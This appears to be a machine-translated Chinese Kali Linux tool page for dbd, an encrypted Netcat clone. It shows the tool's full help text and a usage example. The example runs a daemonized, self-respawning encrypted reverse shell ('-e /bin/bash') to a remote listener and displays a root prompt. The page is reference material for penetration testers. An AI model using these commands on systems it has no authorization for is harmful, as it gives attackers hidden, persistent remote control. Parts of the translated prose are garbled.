DBD是Netcat的克隆,设计为可移植并提供强大的加密。它运行在Unix类操作系统和微软的Win32。 DBD使用了AES-CBC-128 + HMAC-SHA1加密(由Christophe迪瓦恩),程序执行(-e选项),选择源端口,连续重联的延迟,和其他一些不错的功能。 DBD只支持TCP / IP通信。源代码和二进制文件分布在GNU通用公共许可证下。 资料来源:https://github.com/gitdurandal/dbd

DBD首页 | 卡利DBD回购

  • 作者:凯尔Barnthouse
  • 许可:GPLv3的

    0x01 包括在DBD包工具

    DBD - 加密Netcat的克隆

    :~# dbd -h
    dbd 1.50 Copyright (C) 2013 Kyle Barnthouse <
    $Id: dbd.c,v 1.50 2013/05/20 15:40:00 durandal Exp $
    This program is free software; you can redistribute it and/or modify it under
    the terms of the GNU General Public License as published by the Free Software
    Foundation; either version 2 of the License, or (at your option) any later
    connect (tcp): dbd [-options] host port
    listen (tcp):  dbd -l -p port [-options]
      -l          listen for incoming connection
      -p n        choose port to listen on, or source port to connect out from
      -a address  choose an address to listen on or connect out from
      -e prog     program to execute after connect (e.g. -e cmd.exe or -e bash)
      -r n        infinitely respawn/reconnect, pause for n seconds between
                  connection attempts. -r0 can be used to re-listen after
                  disconnect (just like a regular daemon)
      -c on|off   encryption on/off. specify whether you want to use the built-in
                  AES-CBC-128 + HMAC-SHA1 encryption implementation (by
                  Christophe Devine - http://www.cr0.net:8040/) or not
                  default is: -c on
      -k secret   override default phrase to use for encryption (secret must be
                  shared between client and server)
      -q          hush, quiet, don't print anything (overrides -v)
      -v          be verbose
      -n          toggle numeric-only IP addresses (don't do DNS resolution). if
                  you specify -n twice, original state will be active (i.e. -n
                  works like a on/off switch)
      -m          toggle monitoring (snooping) on/off (only used with the -e
                  option). snooping can also be turned on by specifying -vv (-v
                  two times)
      -P prefix   add prefix (+ a hardcoded separator) to all outbound data.
                  this option is mostly only useful for dbd in "chat mode" (to
                  prefix lines you send with your nickname)
      -H on|off   highlight incoming data with a hardcoded (color) escape
                  sequence (for e.g. chatting). default is: -H off
      -V          print version banner and exit (include that output in your
                  bug report and send bug report to 
    unix-like OS specific options:
      -s          invoke a shell, nothing else. if dbd is setuid 0, it'll invoke
                  a root shell
      -w n        "immobility timeout" in seconds for idle read/write operations
                  and program execution (the -e option)
      -D on|off   fork and run in background (daemonize). default: -D off

    0x02 DBD用法示例

    在客户端,每一个重生2400 秒(-r 2400), 作为后台进程运行 (-D ON), 显示详细输出 (-v), 并送达的bash shell(-e /斌/ bash)的 ,连接到远程 主机( 端口 (8080)。 在服务器,侦听端口 8080(-p8080)的连接 (-l), 并显示详细输出 (-v)。

 :~# dbd -r 2400 -D on -v -e /bin/bash 8080

 :~# dbd -l -p8080 -v
listening on port 8080
reverse lookup of failed: Unknown server error
connect to from (n/a)
uid=0(root) gid=0(root) groups=0(root)


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